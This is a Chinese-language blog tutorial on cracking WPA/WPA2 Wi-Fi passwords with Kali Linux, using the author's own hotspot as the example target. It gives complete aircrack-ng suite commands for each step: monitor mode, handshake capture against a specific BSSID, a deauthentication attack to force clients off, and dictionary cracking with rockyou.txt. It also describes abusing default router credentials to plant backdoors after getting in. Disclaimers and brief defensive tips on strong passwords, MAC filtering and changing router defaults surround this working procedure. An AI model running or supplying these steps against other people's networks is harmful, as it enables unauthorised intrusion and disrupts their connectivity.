破解 Wi-Fi 密碼-在現代生活中,無線網路已成為日常不可或缺的一部分。然而,Wi-Fi 安全仍然是許多人忽略的問題。本篇文章將帶你進入一個有趣的實驗世界,學習如何利用 Kali Linux 進行 Wi-Fi 密碼的破解。我們會以「隔壁老王」的 Wi-Fi 熱點為範例,並介紹捕捉封包、發送 Deauthentication 攻擊、以及使用字典檔破解Wi-Fi密碼的過程。這篇文章僅供學術研究與實驗用途,切勿用於非法行為。
影片實作在這
為什麼要先獲取握手包,而不是直接暴力破解?
在 破解 Wi-Fi 密碼 之前,首先需要捕捉握手包,而不是直接進行暴力破解,這有幾個重要原因:
加密協議的保護:WPA/WPA2 加密協議設計的目的是為了防止密碼直接暴露在網路上,握手包是其中的一部分。捕捉握手包能夠提供進行密碼破解所需的加密數據,而直接暴力破解則無法有效取得這些數據。
避免路由器封鎖:如果直接暴力破解 Wi-Fi 密碼,會導致大量錯誤的嘗試,而現代路由器通常會有防護機制,在嘗試次數過多後,暫時封鎖設備的連接請求。這會大大增加破解的難度,甚至導致無法繼續破解。
離線破解的便利性:握手包包含了解密密碼所需的加密資訊,一旦我們捕捉到握手包,接下來的破解過程可以完全離線進行,無需持續與路由器互動。這樣不僅避免了路由器的安全機制,也讓暴力破解變得更加高效和靈活。
1. 前置作業
準備 Kali Linux
首先,你需要準備 Kali Linux,這是一個專為網絡安全和滲透測試設計的操作系統。
準備 USB 可插拔的 WIFI 接收器
你需要一個支持監控模式的 USB Wi-Fi 接收器來捕捉封包。
準備一組待破解的 Wi-Fi
在實驗中,請確保你使用的是自己的 Wi-Fi 網路,破解Wi-Fi密碼不要攻擊他人的網路。我這邊使用的是我 iPhone 開啟的熱點,名稱為「隔壁老王」。
下載並安裝 Kali Linux
如果你還沒有安裝 Kali Linux,可以前往 Kali Linux 官方網站 下載並安裝,以下是推薦的安裝方式:
- 安裝在虛擬機 (如 VirtualBox 或 VMware)。
- VMware下載要先註冊登入才能使用,覺得麻煩的可以直接使用VirtualBox
以下是使用VMware的方法,VirtualBox大同小異。
使用 VMware 進行安裝
進入 Kali Linux 官方網站,選擇 Virtual Machines。
接者依照自己的選擇下載。
下載後解壓縮。
開啟虛擬機,選擇「打開虛擬機」並找到剛剛解壓縮的檔案,開啟它。
啟動 Kali Linux,預設帳號密碼都是 kali
。
進入系統後可以進行配置語言等設置。
2. 啟動無線監控模式
檢查無線網卡狀態
首先,使用以下指令來檢查無線網卡的狀態,確認它是否被 Kali Linux 正確識別:
sudo iwconfig
你應該能看到無線網卡,例如 wlan0
或wlan0mon
以及其他名稱。如果沒有顯示,請重新插拔 USB Wi-Fi 接收器。
啟動監控模式
將無線網卡切換到監控模式,使用以下指令:
sudo airmon-ng start wlan0
要切換回來以及其他指令:wlan0mon只是示範名稱,具體要使用sudo iwconfig
查詢。
sudo ifconfig wlan0mon down # 關閉監控模式介面
sudo airmon-ng stop wlan0mon # 停止監控模式
執行後,應該會顯示無線網卡進入監控模式,並生成一個新的接口名稱(例如 wlan0
)。
停止干擾進程
有些進程(如 NetworkManager
和 wpa_supplicant
)可能會干擾監控模式,導致自動切換信道或退出監控模式。使用以下指令停止這些進程:
sudo airmon-ng check kill
確認監控模式
再次確認無線網卡是否成功進入監控模式:
sudo iwconfig
應該會顯示 wlan0
處於 Monitor 模式。
3. 捕捉 Wi-Fi 封包
使用 airodump-ng
捕捉封包
使用以下指令來捕捉目標無線網路的封包,並記錄握手包:
sudo airodump-ng wlan0
這會列出附近的所有 Wi-Fi 網路。記下你目標網路的 BSSID 和 信道號。
捕捉「隔壁老王」的 Wi-Fi 封包
根據列表中顯示,「隔壁老王」的 BSSID 是 46:64:19:E5:AF:D6
,信道號是 6
。現在可以針對這個 BSSID 進行封包捕捉並保存到主目錄:
sudo airodump-ng --bssid 46:64:19:E5:AF:D6 -c 6 -w ~/wifi_capture wlan0
這會將捕捉到的封包保存為 wifi_capture-01.cap
。
4. 發送 Deauthentication 攻擊
為了加速握手包的捕捉,可以發送 Deauthentication 攻擊,讓目標設備斷線並重新連接:
sudo aireplay-ng --deauth 10 -a 46:64:19:E5:AF:D6 wlan0
這會發送 10 個 Deauth 封包給目標 Wi-Fi。如果需要針對特定客戶端發送攻擊,可以加上 -c
指定客戶端的 MAC 地址:
sudo aireplay-ng --deauth 10 -a 46:64:19:E5:AF:D6 -c [客戶端MAC地址] wlan0
當目標設備重新連接 Wi-Fi 時,應該能捕捉到握手包,終端會顯示 “WPA Handshake”。
5.破解 Wi-Fi 密碼
使用 aircrack-ng
破解
當你捕捉到握手包後,可以使用 aircrack-ng
來破解 Wi-Fi 密碼。以下是使用字典檔案的範例:
sudo aircrack-ng -w /path/to/wordlist.txt /path/to/output.cap
/path/to/wordlist.txt
:字典檔案的路徑。/path/to/output.cap
:捕捉到的握手包文件。
使用 rockyou.txt
字典檔
使用rockyou.txt 字典檔的理由為,裡面有一千多萬組常用密碼。
rockyou.txt 字典檔預設存在於 Kali Linux 的 /usr/share/wordlists/
目錄中,但它被壓縮為 .gz
格式。解壓縮該檔案:
sudo gunzip /usr/share/wordlists/rockyou.txt.gz
解壓後,你可以使用這個字典來嘗試破解:
sudo aircrack-ng -w /usr/share/wordlists/rockyou.txt ~/wifi_capture-01.cap
Aircrack-ng 會開始使用字典檔中的密碼嘗試破解握手包。根據密碼的強度和字典的大小,這個過程可能需要一些時間。
破解成功
當字典中包含正確的密碼時,終端會顯示密碼,像這樣:
密碼破解成功:1234567890
結語
這次的實驗向你展示了如何使用 Kali Linux 破解Wi-Fi密碼。透過捕捉握手包和字典檔進行暴力破解,你可以了解 Wi-Fi 安全的脆弱性,並學到如何提升網路安全。在現實中,請務必確保你的 Wi-Fi 密碼強度足夠,並且定期更換密碼以提高安全性。
利用設備 MAC 來綁定路由器
除了使用強密碼,另一種增強 Wi-Fi 安全性的方法是利用設備的 MAC 地址來綁定路由器。你可以設定路由器,僅允許特定設備(透過它們的 MAC 地址)連接網路,這樣即使其他人破解了你的 Wi-Fi 密碼,沒有匹配的 MAC 地址也無法連接。具體操作可以在路由器的管理界面進行,通常會在「MAC 過濾」或「訪問控制」選項中找到。
利用預設路由器帳號密碼
一旦成功入侵 Wi-Fi,攻擊者可以利用一般使用者不會更改路由器的預設帳號和密碼這一弱點進行進一步的攻擊。可以輕易地上網搜尋到每個廠牌路由器的預設帳號和密碼,這些預設值通常沒有修改。一旦攻擊者使用這些預設帳號和密碼登入路由器的管理介面,他們可以隨意更改路由器的權限設定,甚至植入後門,這會讓所有連接到這台路由器的設備都面臨被入侵的風險。
因此,除了確保 Wi-Fi 密碼的安全性外,務必更改路由器的預設登入帳號和密碼,以防止攻擊者利用這些弱點進行更深入的攻擊。
最重要的是,這篇文章僅供學術研究與個人學習,切勿用於非法行為。
推薦閱讀 Windows 使用 OpenSSH 連接 Kali Linux:完整安裝與排查指南
推薦閱讀 破解錢包-找回你虛擬貨幣錢包的方式